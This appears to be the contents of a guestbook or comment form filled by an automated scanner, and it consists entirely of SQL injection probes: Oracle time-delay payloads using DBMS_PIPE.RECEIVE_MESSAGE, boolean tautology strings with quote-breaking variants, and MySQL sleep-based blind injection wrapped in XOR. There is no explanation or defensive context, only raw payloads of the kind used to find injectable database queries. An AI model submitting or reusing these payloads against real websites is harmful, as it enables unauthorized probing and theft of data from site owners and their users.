Guest:
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)


Guest:
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)


-1 OR 2+579-579-1=0+0+0+1 --

-1 OR 2+914-914-1=0+0+0+1

-1' OR 2+799-799-1=0+0+0+1 --

-1' OR 2+139-139-1=0+0+0+1 or 'UKUkJppW'='

-1" OR 2+822-822-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z